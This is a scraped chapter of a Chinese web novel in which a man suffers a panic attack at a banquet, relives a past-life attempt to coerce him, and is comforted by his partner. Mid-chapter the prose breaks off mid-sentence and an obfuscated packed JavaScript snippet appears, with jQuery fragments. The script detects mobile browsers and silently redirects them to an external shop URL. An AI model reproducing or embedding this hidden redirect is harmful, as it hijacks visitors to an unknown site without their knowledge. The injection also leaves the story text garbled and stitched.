文趣网 > 都市小说 > 病弱小可怜重生揣崽后 > 10. 第 10 章
    沈泠双手撑在洗手台边缘,大理石台面的凉意从掌心一路窜上来,镜子里的自己脸色白得吓人,嘴唇上最后一点血色也褪干净。

    他没有想到自己会在这场宴会上惊恐发作,没有任何的征兆,仅仅只是因为看到了孙宇,说发作就发作,实在太失态了。

    沈泠撑着台面的手臂开始发软,他知道自己不能待在这里,万一有人进来……

    沈泠踉跄着推开旁边的门。

    那是一间器具间,比洗手间更逼仄,四面墙壁朝他挤压过来,空气里有消毒水的刺鼻气味,头顶只有一盏惨白的日光灯。

    沈泠靠着墙滑坐下来,把膝盖蜷到胸口。

    就是这盏灯。

    前世那间房间里,也是这样的灯。

    ……

    刘贤坐在办公桌后面,还是那副道貌岸然的样子。

    圈内泰斗,国际赛事评审席的常客,一线品牌设计总监里有一半是他门生。

    ——这些头衔叠在一起,像一堵金箔糊的墙,叫人看不清背后的真相。

    孙宇站在他身侧,脸上带着冠冕堂皇的笑容。

    “沈泠,刘教授是惜才。你一个人守着那么大的工作室,多辛苦?跟了刘教授,以后你的设计就是刘教授的设计,你的名字就是刘教授的名字。这是抬举你。”

    沈泠往后退,背抵上冰冷的墙壁。

    什么惜才,什么抬举,不过是打着光鲜亮丽的幌子,想把他这个人连皮带骨地送到刘贤的床上。

    “我不去。”沈泠的声音抖的厉害,“我不去。”

    孙宇脸上的笑堆的更满,好几双手同时伸过来,按住沈泠的肩膀,沈泠像一只被按在砧板上的活鱼,拼命的扭动挣扎。

    他的手在混乱中摸到一把刻刀。

    沈泠握着那把刀,刀刃朝外

    “别过来——!”

    刀尖划过什么柔软的东西,血涌出来,顺着刀刃往下淌,滚烫的滴在他的手背上。

    孙宇捂着胳膊往后退,脸上终于出现恐惧。

    紧接着是更多的压制扑面而来,有人掰开他的手指把刀夺走,沈泠的脸被压在地板上,嘴里尝到了灰尘和铁锈的味道。

    ……

    “不去……我不去……”

    沈泠的声音在逼仄的器具间里响起,嘴唇翕动着,吐出来的字轻轻的散在消毒水的气味里。

    他看见好多双手从墙壁里伸出来,从地板的缝隙里钻出来,从惨白日光灯的阴影里探出来。

    一只一只,要来按住他,要把他拖回那个房间里…

    沈泠的两只手在身边胡乱地摸索,手指却只扫过拖把的木柄,扫过水桶的塑料边缘。

    不对。

    不是这个。

    他要找的是那把刻刀。

    他前世握住它的那一瞬间,刀刃划破皮肤的触感,到现在还刻在他的掌纹里。

    他需要一个武器,他必须找到一个武器——!

    沈泠的手在地面上乱抓,指甲刮过瓷砖的缝隙,指甲在塑料壳上刮出刺耳的声响,只留下一道浅浅的白痕。

    什么都没有。

    无处可逃。

    无力反抗。

    “救救我……谁能来救救我……”

    沈泠以为自己喊得很大声,实际上因为惊恐过度,喉咙根本挤不出完整的音节,只漏出一丝气若游丝的呜咽。

    只有日光灯的嗡嗡声和心脏在耳朵里的狂跳。

    沈泠的眼睛睁的很大,瞳孔却涣散的厉害,盯着面前空无一物的墙壁,眼底映不出一丝现实的光。

    “谁能救救我……”

    沈泠的意识在涣散的边缘浮沉,恍惚间,一道身影从记忆深处浮了上来。

    霍砚深。

    他总是挡在自己前面的。

    上辈子那些觥筹交错的场合,他往霍砚深身后一站,那些探究的目光便被宽阔的身影尽数挡住;他半夜做噩梦吓醒,霍砚深会把他捞进怀里,掌心顺着他的脊背,比什么都叫人安心。

    那个人好像永远都在,像一座山立在他身后,他退一步就能靠上去。

    可是…霍砚深已经不在了。

    这个念头像一盆冰水兜头浇下来。沈泠的指尖在冰冷的地砖上徒劳的蜷缩,心脏猛地往下坠。

    是了,他明明已经一个人熬过了四年,他怎么又忘了。

    他抓不住他的。

    前世抓不住,这辈子……这辈子也——

    沈泠的喉咙里涌上一股酸涩,几乎绝望的呻吟。

    “老公…你在哪里……”

    ·

    “沈泠在哪里?”

    霍砚深问陈曦潼,语速很快。

    陈曦潼抬起头,对上霍砚深的视线,心里咯噔一下。

    她这位表哥从来喜怒不形于色,商场上多少老狐狸都摸不清他的底。可此刻他的眉心拧着,一贯沉静的黑眸里翻涌着她从未见过的焦灼。

    “他刚才说去洗手间,”陈曦潼神色也跟着凝重起来,“但是我觉得他不太对劲,他看到那几个人之后脸色一下子就变了,我叫他,他都没怎么应。”

    “多久了?”

    陈曦潼看了一眼腕表,眉头皱起来:“得有……半小时了。”

    霍砚深转身就走。

    他三步并作两步上了二层,走廊尽头的洗手间门敞着,乍一看空无一人。

    他目光往旁边一扫,那扇标着“器具间”的窄门虚掩着,门缝里漏出一线惨白的光。

    霍砚深迅速推开门,门板撞上墙壁,惨白日光灯下,他看见沈泠缩在墙角。

    沈泠缩成极小的一团,他的衬衫早已被冷汗浸透,布料湿漉漉地贴在身上,勾勒出肩胛骨嶙峋的轮廓。

    而他的手…霍砚深的视线落下去,瞳孔猛地一缩。

    沈泠的手指正无意识地在地面上抓挠,指尖已经磨破了皮,渗出血丝,可他像是感觉不到痛一般,像在找什么东西。

    沈泠的嘴唇翕动着:“不去……我不去……”

    他的瞳孔涣散的厉害,死死盯着面前空无一物的墙壁,像是看见了什么别人看不见的东西。

    冷汗从额角淌下来,沿着苍白的颊侧滑进领口,湿得像刚从水里捞出来。

    霍砚深的心像是被人猛地攥了一下。

    他知道沈泠前世受过伤,有阴影,但他没有没有想到沈泠的症状会这么严重。

    这分明是典型的惊恐发作。

    前世到底发生了什么?

    霍砚深攥紧的指节捏得咔咔作响。胸膛里翻涌起一股焦躁的怒意,关于前世他死后发生的那些事情,除了询问沈泠,他根本无从知晓。

    但他没有让这丝情绪浮到脸上,他深吸一口气,把翻涌的心疼和不甘一同压进胸腔最深处。

    现在不是问的时候。

    霍砚深蹲下身。

    沈泠的手还在胡乱地刨抓,指甲已经劈了一道,渗出一丝血红。

    霍砚深在沈泠身侧单膝跪下,伸出右手,掌心朝上,缓慢而坚定地覆上沈泠的左手。

    沈泠的手指在他掌心里猛地一蜷,突然像被电击一样弹了起来。

    “别过来——!”沈泠嘶哑地喊出声,手臂剧烈甩动,肩膀撞上身后的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735530|209043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    墙壁。

    他的力气大得惊人,被恐惧逼出来的蛮力,拼了命的扭动挣扎。指甲陷进霍砚深虎口的皮肤里,抓出一道血痕,膝盖顶向霍砚深的腰腹,脚后跟在瓷砖上蹬出刺耳的摩擦声。

    霍砚深没有松手,他维持着那个环抱的姿势,把沈泠整个人从地上捞起来,箍进怀里。

    宽厚的肩膀像一堵墙,挡住所有从四面八方涌来的恐惧。沈泠在他怀里剧烈挣扎,肩胛骨撞他的手臂,拳头砸他的胸膛,霍砚深纹丝不动。

    “血……我看到了血……”沈泠的声音断断续续。

    霍砚深低下头,下巴抵着沈泠濡湿的头顶:“什么都没有。你抬头看看,只有我。”

    沈泠根本听不进去,他的瞳孔仍然涣散着,盯着自己空无一物的手掌,忽然剧烈的抖了一下,像是看见了什么更可怕的东西。

    “我杀人了,”他的声音忽然变了调,嘴唇哆嗦着,“我杀人了……血……他的血溅在我手上……那把刀……我杀人了——!”

    他说不下去,喉咙像是被什么掐住了,只剩下气音。

    沈泠把自己的手举到眼前,明明什么都没有,可他就是看见了——

    看见那只手上沾满了暗红色,滚烫的血。

    霍砚深的心像被人拿钝刀一片一片的剐。

    他一把将沈泠的手按在自己胸口,掌心覆上沈泠的眼睛,把那些幻觉一并隔绝在外面。

    “你没有,”霍砚深的声音低而稳,嘴唇贴着沈泠濡湿的鬓角,一字一顿,“你没有杀人。宝宝,到我这里来。”

    “可是血……"

    “没有血。”霍砚深的手掌更用力地按住他的后颈,让那片最脆弱的部位真实的感受到温度的入侵,“你很安全。”

    咚咚。咚咚。

    沉稳的心跳透过胸腔传过来。

    沈泠的意识像是下坠了很久,终于被什么东西托住。

    那些从墙壁里伸出来的手不见了。脚下的地板不再塌陷,耳朵里心脏的狂跳声渐渐被另一种声音取代。

    是他的心跳。是霍砚深的心跳。

    两个人的心脏还在同时跳动着。

    霍砚深还活着。

    沈泠的呼吸终于从濒死的频率一点一点降下来,软软的陷进霍砚深的怀抱。

    “我们先离开这里,好不好?”霍砚深的声音传过来,“我抱你出去。”

    半晌,沈泠在他怀里很轻的点了点头。

    霍砚深将手臂穿过沈泠的膝弯,把人整个抱了起来。

    *

    走廊里暖金色的壁灯铺了一地,霍砚深的脚步压在地毯上,无声而稳。

    怀里的人缩成小小一团,呼吸渐渐平稳下来,偶尔还会小小痉挛一下,像哭累了的孩子终于在大人肩头睡着。

    手机在西装内袋里震动起来。

    霍砚深单手托住沈泠,腾出另一只手摸出手机。

    屏幕上是周凛的名字。

    周凛,“我刚才核实过,今晚的宾客名单里没有刘贤。他是自己带着人跟李兴为换了邀请函,顶替上来的。”

    电话那头顿了顿,“……你那边是出什么事了吗?”

    霍砚深低头看了一眼怀里的人。

    沈泠的脸埋在他颈窝里,睫毛湿漉漉地阖着,脸色还是白得吓人,衬衫后背洇开的那片汗渍还没干,贴在嶙峋的肩胛骨上,隔着布料都能摸到骨头的形状。

    “我这边先把人安顿下来,”霍砚深的声音听不出什么情绪,淡淡的,像在说一件再寻常不过的事。

    “你跟刘贤说,明天晚上,我找他有事想谈谈。”